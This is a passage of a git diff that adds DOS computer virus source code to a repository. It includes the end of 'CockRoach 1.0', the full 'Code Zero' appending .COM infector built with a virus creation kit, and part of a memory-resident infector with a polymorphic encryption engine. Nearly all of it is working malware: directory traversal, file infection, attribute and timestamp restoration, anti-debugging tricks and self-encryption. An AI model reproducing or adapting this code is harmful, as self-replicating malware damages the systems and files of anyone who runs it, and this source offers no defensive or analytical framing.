first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "CockRoach 1.0 Virus" + db "By Anonymous Caller" + db "[LegenD] Systems 1992!" + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/c/CODEZERO.ASM b/c/CODEZERO.ASM new file mode 100755 index 0000000..23010d9 --- /dev/null +++ b/c/CODEZERO.ASM @@ -0,0 +1,381 @@ +; CODEZERO.ASM -- Code Zero Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + lea bx,[di + null_vector] ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + call search_files ; Find and infect a file + + call infected_all + or ax,ax ; Did the function return zero? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: lea si,[di + data00] ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + +end00: +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + + + db 064h,06Dh,056h,0D5h,05Dh + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + + db 0D9h,013h,047h,056h,001h + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 005h,083h,072h,0C1h,006h + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + + db 06Ah,025h,0C8h,0A7h,094h + +infected_all proc near +if virus_type eq 0 + mov al,byte ptr [di + set_carry] +else + mov al,byte ptr [set_carry] ; AX holds success value +endif + cbw ; Sign-extend AL into AX + ret ; Return to caller +infected_all endp + +data00 db 7,7,7,"** CODE ZERO **",13,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "[Code Zero]",0 + db "Nowhere Man, [NuKE] '92",0 + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/c/COFFSHOP (43).ASM b/c/COFFSHOP (43).ASM new file mode 100755 index 0000000..323049f --- /dev/null +++ b/c/COFFSHOP (43).ASM @@ -0,0 +1,1662 @@ + .RADIX 16 + + +_TEXT segment + + assume cs:_TEXT, ds:_TEXT + + +VERSION equ 3 +PICLEN equ last - beeld ;length of picture routine +FILELEN equ last - first ;length of virus +FILEPAR equ (FILELEN + 0F)/10 ;length of virus in paragraphs +VIRPAR equ 00D0 ;space for resident virus +WORKPAR equ 0160 ;work space for engine +STACKOFF equ 1000 ;Stack offset +DATAPAR equ 0050 ;extra memory allocated +BUFLEN equ 1C ;length of buffer + + +;**************************************************************************** +;* data area for virus +;**************************************************************************** + + org 00E0 + +mutstack dw 0, 0 +oldlen dw 0, 0 +oi21 dw 0, 0 +minibuf db 0, 0, 0, 0 + + +;**************************************************************************** +;* data area for engine +;**************************************************************************** + +add_val dw 0 +xor_val dw 0 +xor_offset dw 0 +where_len dw 0 +where_len2 dw 0 +flags db 0 + + +;****************************************************************************** +;* Begin of virus, installation in memory +;****************************************************************************** + + org 0100 + +first: call next ;get IP +next: pop si + + sub si,low 3 ;SI = begin virus + mov di,0100 + cld + + push ax ;save registers + push ds + push es + push di + push si + + mov ah,30 ;DOS version >= 3.1? + int 21 + xchg ah,al + cmp ax,030A + jb not_install + + mov ax,33DA ;already resident? + int 21 + cmp ah,0A5 + je not_install + + mov ax,es ;adjust memory-size + dec ax + mov ds,ax + xor bx,bx + cmp byte ptr [bx],5A + jne not_install + mov ax,[bx+3] + sub ax,(VIRPAR+WORKPAR) + jb not_install + mov [bx+3],ax + sub word ptr ds:[bx+12],(VIRPAR+WORKPAR) + + mov es,[bx+12] ;copy program to top + push cs + pop ds + mov cx,FILELEN + rep movsb + + push es + pop ds + + mov ax,3521 ;get original int21 vector + int 21 + mov ds:[oi21],bx + mov ds:[oi21+2],es + + mov dx,offset ni21 ;install new int21 handler + mov ax,2521 + int 21 + + mov ax,33DBh ;init. random nr. generator + int 21 + + mov ah,2A ;ask date + int 21 + cmp al,5 ;friday ? + jne not_install + mov ah,2C ;ask time + int 21 + or dh,dh ;sec = 0 ? + jnz not_install + + mov ax,33DC ;show picture + int 21 + +not_install: pop si ;restore registers + pop di + pop es + pop ds + pop ax + + add si,(offset buffer) + sub si,di + cmp byte ptr cs:[si],4Dh ;COM or EXE ? + je entryE + +entryC: push di + mov cx,BUFLEN + rep movsb + ret + +entryE: mov bx,ds ;calculate CS + add bx,low 10 + mov cx,bx + add bx,cs:[si+0E] + cli ;restore SS and SP + mov ss,bx + mov sp,cs:[si+10] + sti + add cx,cs:[si+16] + push cx ;push new CS on stack + push cs:[si+14] ;push new IP on stack + db 0CBh ;retf + + +;****************************************************************************** +;* Interupt 24 handler +;****************************************************************************** + +ni24: mov al,3 ;to avoid 'Abort, Retry, ...' + iret + + +;****************************************************************************** +;* Interupt 21 handler +;****************************************************************************** + +ni21: pushf + + cmp ax,33DA ;install-check ? + jne not_ic + mov ax,0A500+VERSION ;return a signature + popf + iret + +not_ic: push es ;save registers + push ds + push si + push di + push dx + push cx + push bx + push ax + + cmp ax,33DBh ;rnd init ? + jne not_ri + call rnd_init + jmp short no_infect + +not_ri: cmp ax,33DC ;show picture? + je show_pic + +not_pi: cmp ax,4B00 ;execute ? + je do_it + + cmp ax,6C00 ;open DOS 4.0+ ? + jne no_infect + test bl,3 + jnz no_infect + mov dx,di + +do_it: call infect + +no_infect: pop ax ;restore registers + pop bx + pop cx + pop dx + pop di + pop si + pop ds + pop es + popf + +org21: jmp dword ptr cs:[oi21] ;call to old int-handler + + +;****************************************************************************** +;* Show picture +;****************************************************************************** + +show_pic: mov ax,offset no_infect ;push return adres on stack + push cs + push ax + + mov di,((VIRPAR*10)+0100) ;move picture routine + mov si,offset beeld + mov cx,PICLEN + push cs + pop ds + push cs + pop es + rep movsb + + mov ax,cs ;calculate segment registers + add ax,low VIRPAR + mov ds,ax + mov es,ax + + push ax ;push picture adres on stack + mov ax,0100 + push ax + + db 0CBh ;(retf) goto picture routine + + +;****************************************************************************** +;* Tries to infect the file +;****************************************************************************** + +infect: cld + + push cs ;copy filename to CS:0000 + pop es + mov si,dx + xor di,di + mov cx,0080 +namemove: lodsb + cmp al,0 + je moved + cmp al,'a' + jb char_ok + cmp al,'z' + ja char_ok + xor al,20 ;convert to upper case +char_ok: stosb + loop namemove +return0: ret + +moved: stosb ;put last zero after filename + lea si,[di-5] + push cs + pop ds + + lodsw ;check extension .COM or .EXE + cmp ax,'E.' + jne not_exe + lodsw + cmp ax,'EX' + jmp short check + +not_exe: cmp ax,'C.' + jne return0 + lodsw + cmp ax,'MO' +check: jne return0 + + std ;find begin of filename + mov cx,si + inc cx +searchbegin: lodsb + cmp al,':' + je checkname + cmp al,'\' + je checkname + loop searchbegin + dec si + +checkname: cld ;check filename + lodsw + lodsw + mov di,offset names + mov cl,13 + repnz scasw + je return0 + + mov ax,3300 ;get ctrl-break flag + int 21 + push dx ;save flag on stack + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524 ;get int24 vector + int 21 + push es ;save vector on stack + push bx + + push cs + pop ds + + mov dx,offset ni24 ;install new int24 handler + mov ah,25 + push ax + int 21 + + mov ax,4300 ;ask file-attributes + cwd + int 21 + push cx ;save attributes on stack + + xor cx,cx ;clear attributes + mov ax,4301 + push ax + int 21 + jc return1v + + mov ax,3D02 ;open the file + int 21 + jnc opened +return1v: jmp return1 + +opened: xchg ax,bx ;save handle + + mov ax,5700 ;get file date & time + int 21 + push dx ;save date & time on stack + push cx + + mov cx,BUFLEN ;read begin of file + mov si,offset buffer + mov dx,si + call read + jc closev + + mov ax,4202 ;goto end, get filelength + xor cx,cx + cwd + int 21 + + mov di,offset oldlen ;save filelength + mov [di],ax + mov [di+2],dx + + mov ax,word ptr [si+12] ;already infected? + add al,ah + cmp al,'@' + jz closev + + cmp word ptr [si],'ZM' ;EXE ? + je do_EXE + +do_COM: test byte ptr [si],80 ;maybe a strange EXE? + jz closev + + mov ax,word ptr [di] ;check lenght of file + cmp ah,0D0 + jae closev + cmp ah,1 + jb closev + + mov dx,ax + add dx,0100 + call writeprog ;call Engine and write virus + jne closev + + mov byte ptr [si],0E9 ;put 'JMP xxxx' at begin + sub ax,low 3 + mov word ptr [si+1],ax + jmp done + +closev: jmp close + +do_EXE: cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ? + jb not_win + + mov ax,003C + cwd + call readbytes + jc closev + + mov ax,word ptr [di+8] + mov dx,word ptr [di+0A] + call readbytes + jc closev + + cmp byte ptr [di+9],'E' + je closev + +not_win: call getlen + call calclen ;check for internal overlays + cmp word ptr [si+4],ax + jne close + cmp word ptr [si+2],dx + jne close + + cmp word ptr [si+0C],0 ;high memory allocation? + je close + + cmp word ptr [si+1A],0 ;overlay nr. not zero? + jne close + + call getlen ;calculate new CS & IP + mov cx,0010 + div cx + sub ax,word ptr [si+8] + dec ax + add dx,low 10 + + call writeprog ;call Engine and write virus + jne close + + mov word ptr [si+16],ax ;put CS in header + mov word ptr [si+0E],ax ;put SS in header + mov word ptr [si+14],dx ;put IP in header + mov word ptr [si+10],STACKOFF ;put SP in header + + call getlen + add ax,cx + adc dx,0 + call calclen ;put new length in header + mov word ptr [si+4],ax + mov word ptr [si+2],dx + + lea di,[si+0A] ;adjust mem. allocation info + call mem_adjust + lea di,[si+0C] + call mem_adjust + +done: call gotobegin + call rnd_get ;signature + mov ah,'@' + sub ah,al + mov word ptr [si+12],ax + mov cx,BUFLEN ;write new begin + mov dx,si + mov ah,40 + int 21 + +close: pop cx ;restore date & time + pop dx + mov ax,5701 + int 21 + + mov ah,3E ;close the file + int 21 + +return1: pop ax ;restore attributes + pop cx + cwd + int 21 + + pop ax ;restore int24 vector + pop dx + pop ds + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + ret + + +;****************************************************************************** +;* Filenames to avoid +;****************************************************************************** + +names: db 'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI' + db 'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' ' + db ' ', ' ', ' ' + + +;****************************************************************************** +;* Write virus to the program +;****************************************************************************** + +writeprog: push ax ;save registers + push dx + push si + push bp + push es + + cli + mov word ptr [di-4],ss ;save SS & SP + mov word ptr [di-2],sp + + mov ax,cs ;new stack & buffer-segment + mov ss,ax + mov sp,((VIRPAR + WORKPAR) * 10) + add ax,low VIRPAR + mov es,ax + sti + + push ds + + mov bp,dx ;input parameters for engine + mov dx,0100 + mov cx,FILELEN + xor si,si + mov al,0Fh + + push di + push bx + + call crypt ;call the Engine + + pop bx + pop di + + push cx + push dx + mov ax,4202 ;goto end + xor cx,cx + cwd + int 21 + pop dx + pop cx + + mov ah,40 ;write virus + int 21 + cmp ax,cx ;are all bytes written? + + pop ds + + cli + mov ss,word ptr [di-4] ;restore stack + mov sp,word ptr [di-2] + sti + + pop es ;restore registers + pop bp + pop si + pop dx + pop ax + + ret + + +;****************************************************************************** +;* Adjust mem allocation info in EXE header +;****************************************************************************** + +mem_adjust: mov ax,[di] + sub ax,low FILEPAR ;alloc. may be this much less + jb more + cmp ax,DATAPAR ;minimum amount to allocate + jae mem_ok +more: mov ax,DATAPAR +mem_ok: mov [di],ax + ret + + +;****************************************************************************** +;* Read a few bytes +;****************************************************************************** + +readbytes: call goto + mov dx,offset minibuf + mov cx,4 +read: mov ah,3F + int 21 + ret + + +;****************************************************************************** +;* Calculate length for EXE header +;****************************************************************************** + +calclen: mov cx,0200 + div cx + or dx,dx + jz no_cor + inc ax +no_cor: ret + + +;****************************************************************************** +;* Get original length of program +;****************************************************************************** + +getlen: mov ax,[di] + mov dx,[di+2] + ret + + +;****************************************************************************** +;* Goto new offset DX:AX +;****************************************************************************** + +gotobegin: xor ax,ax + cwd +goto: xchg cx,dx + xchg ax,dx + mov ax,4200 + int 21 + ret + + +;**************************************************************************** +;* +;* Encryption Engine +;* +;* +;* Input: ES work segment +;* DS:DX code to encrypt +;* BP what will be start of decryptor +;* SI what will be distance between decryptor and code +;* CX length of code +;* AX flags: bit 0: DS will not be equal to CS +;* bit 1: insert random instructions +;* bit 2: put junk before decryptor +;* bit 3: preserve AX with decryptor +;* +;* Output: ES: work segment (preserved) +;* DS:DX decryptor + encrypted code +;* BP what will be start of decryptor (preserved) +;* DI length of decryptor / offset of encrypted code +;* CX length of decryptor + encrypted code +;* AX length of encrypted code +;* (other registers may be trashed) +;* +;**************************************************************************** + + db '[ MK / Trident ]' + +crypt: xor di,di ;di = start of decryptor + push dx ;save offset of code + push si ;save future offset of code + + mov byte ptr ds:[flags],al ;save flags + test al,8 ;push AX? + jz no_push + mov al,50 + stosb + +no_push: call rnd_get ;add a few bytes to cx + and ax,1F + add cx,ax + push cx ;save length of code + + call rnd_get ;get random flags + xchg ax,bx + ;BX flags: + + ;0,1 how to encrypt + ;2,3 which register for encryption + ;4 use byte or word for encrypt + ;5 MOV AL, MOV AH or MOV AX + ;6 MOV CL, MOV CH or MOV CX + ;7 AX or DX + + ;8 count up or down + ;9 ADD/SUB/INC/DEC or CMPSW/SCASW + ;A ADD/SUB or INC/DEC + ; CMPSW or SCASW + ;B offset in XOR instruction? + ;C LOOPNZ or LOOP + ; SUB CX or DEC CX + ;D carry with crypt ADD/SUB + ;E carry with inc ADD/SUB + ;F XOR instruction value or AX/DX + +random: call rnd_get ;get random encryption value + or al,al + jz random ;again if 0 + mov ds:[xor_val],ax + + call do_junk ;insert random instructions + + pop cx + + mov ax,0111 ;make flags to remember which + test bl,20 ; MOV instructions are used + jnz z0 + xor al,07 +z0: test bl,0C + jnz z1 + xor al,70 +z1: test bl,40 + jnz z2 + xor ah,7 +z2: test bl,10 + jnz z3 + and al,73 +z3: test bh,80 + jnz z4 + and al,70 + +z4: mov dx,ax +mov_lup: call rnd_get ;put MOV instructions in + and ax,000F ; a random order + cmp al,0A + ja mov_lup + + mov si,ax + push cx ;test if MOV already done + xchg ax,cx + mov ax,1 + shl ax,cl + mov cx,ax + and cx,dx + pop cx + jz mov_lup + xor dx,ax ;remember which MOV done + + push dx + call do_mov ;insert MOV instruction + call do_nop ;insert a random NOP + pop dx + + or dx,dx ;all MOVs done? + jnz mov_lup + + push di ;save start of decryptor loop + + call do_add_ax ;add a value to AX in loop? + call do_nop + test bh,20 ;carry with ADD/SUB ? + jz no_clc + mov al,0F8 + stosb +no_clc: mov word ptr ds:[xor_offset],0 + call do_xor ;place all loop instructions + call do_nop + call do_add + + pop dx ;get start of decryptor loop + + call do_loop + + test byte ptr ds:[flags],8 ;insert POP AX ? + jz no_pop + mov al,58 + stosb + +no_pop: xor ax,ax ;calculate loop offset + test bh,1 ;up or down? + jz v1 + mov ax,cx + dec ax + test bl,10 ;encrypt with byte or word? + jz v1 + and al,0FE +v1: add ax,di + add ax,bp + pop si + add ax,si + sub ax,word ptr ds:[xor_offset] + mov si,word ptr ds:[where_len] + test bl,0C ;are BL,BH used for encryption? + jnz v2 + mov byte ptr es:[si],al + mov si,word ptr ds:[where_len2] + mov byte ptr es:[si],ah + jmp short v3 +v2: mov word ptr es:[si],ax + +v3: mov dx,word ptr ds:[xor_val] ;encryption value + + pop si ;ds:si = start of code + + push di ;save ptr to encrypted code + push cx ;save length of encrypted code + + test bl,10 ;byte or word? + jz blup + + inc cx ;cx = # of crypts (words) + shr cx,1 + +lup: lodsw ;encrypt code (words) + call do_encrypt + stosw + loop lup + jmp short klaar + + +blup: lodsb ;encrypt code (bytes) + xor dh,dh + call do_encrypt + stosb + loop blup + +klaar: mov cx,di ;cx = length decryptpr + code + pop ax ;ax = length of decrypted code + pop di ;di = offset encrypted code + xor dx,dx ;ds:dx = decryptor + cr. code + push es + pop ds + ret + + +;**************************************************************************** +;* encrypt the code +;**************************************************************************** + +do_encrypt: add dx,word ptr ds:[add_val] + test bl,2 + jnz lup1 + xor ax,dx + ret + +lup1: test bl,1 + jnz lup2 + sub ax,dx + ret + +lup2: add ax,dx + ret + + +;**************************************************************************** +;* generate mov reg,xxxx +;**************************************************************************** + +do_mov: mov dx,si + mov al,byte ptr ds:[si+mov_byte] + cmp dl,4 ;BX? + jne is_not_bx + call add_ind +is_not_bx: test dl,0C ;A*? + pushf + jnz is_not_a + test bl,80 ;A* or D*? + jz is_not_a + add al,2 + +is_not_a: call alter ;insert the MOV + + popf ;A*? + jnz is_not_a2 + mov ax,word ptr ds:[xor_val] + jmp short sss + +is_not_a2: test dl,8 ;B*? + jnz is_not_b + mov si,offset where_len + test dl,2 + jz is_not_bh + add si,2 +is_not_bh: mov word ptr ds:[si],di + jmp short sss + +is_not_b: mov ax,cx ;C* + test bl,10 ;byte or word encryption? + jz sss + inc ax ;only half the number of bytes + shr ax,1 +sss: test dl,3 ;byte or word register? + jz is_x + test dl,2 ;*H? + jz is_not_h + xchg al,ah +is_not_h: stosb + ret + +is_x: stosw + ret + + +;**************************************************************************** +;* insert MOV or alternative for MOV +;**************************************************************************** + +alter: push bx + push cx + push ax + call rnd_get + xchg ax,bx + pop ax + test bl,3 ;use alternative for MOV? + jz no_alter + + push ax + and bx,0F + and al,08 + shl ax,1 + or bx,ax + pop ax + + and al,7 + mov cl,9 + xchg ax,cx + mul cl + + add ax,30C0 + xchg al,ah + test bl,4 + jz no_sub + mov al,28 +no_sub: call maybe_2 + stosw + + mov al,80 + call maybe_2 + stosb + + mov ax,offset add_mode + xchg ax,bx + and ax,3 + xlat + + add al,cl +no_alter: stosb + pop cx + pop bx + ret + + +;**************************************************************************** +;* insert ADD AX,xxxx +;**************************************************************************** + +do_add_ax: push cx + mov si,offset add_val ;save add-value here + mov word ptr ds:[si],0 + mov ax,bx + and ax,8110 + xor ax,8010 + jnz no_add_ax ;use ADD? + + mov ax,bx + xor ah,ah + mov cl,3 + div cl + or ah,ah + jnz no_add_ax ;use ADD? + + test bl,80 + jnz do_81C2 ;AX or DX? + mov al,5 + stosb + jmp short do_add0 +do_81C2: mov ax,0C281 + stosw +do_add0: call rnd_get + mov word ptr ds:[si],ax + stosw +no_add_ax: pop cx + ret + + +;**************************************************************************** +;* generate encryption command +;**************************************************************************** + +do_xor: test byte ptr ds:[flags],1 + jz no_cs + mov al,2E ;insert CS: instruction + stosb + +no_cs: test bh,80 ;type of XOR command + jz xor1 + + call get_xor ;encrypt with register + call do_carry + call save_it + xor ax,ax + test bl,80 + jz xxxx + add al,10 +xxxx: call add_dir + test bh,8 + jnz yyyy + stosb + ret + +yyyy: or al,80 + stosb + call rnd_get + stosw + mov word ptr ds:[xor_offset],ax + ret + +xor1: mov al,080 ;encrypt with value + call save_it + call get_xor + call do_carry + call xxxx + mov ax,word ptr ds:[xor_val] + test bl,10 + jmp byte_word + + +;**************************************************************************** +;* generate increase/decrease command +;**************************************************************************** + +do_add: test bl,8 ;no CMPSW/SCASW if BX is used + jz da0 + test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW + jnz do_cmpsw + +da0: test bh,4 ;ADD/SUB or INC/DEC? + jz add1 + + mov al,40 ;INC/DEC + test bh,1 ;up or down? + jz add0 + add al,8 +add0: call add_ind + stosb + test bl,10 ;byte or word? + jz return + stosb ;same instruction again +return: ret + +add1: test bh,40 ;ADD/SUB + jz no_clc2 ;carry? + mov al,0F8 ;insert CLC + stosb +no_clc2: mov al,083 + stosb + mov al,0C0 + test bh,1 ;up or down? + jz add2 + mov al,0E8 +add2: test bh,40 ;carry? + jz no_ac2 + and al,0CF + or al,10 +no_ac2: call add_ind + stosb + mov al,1 ;value to 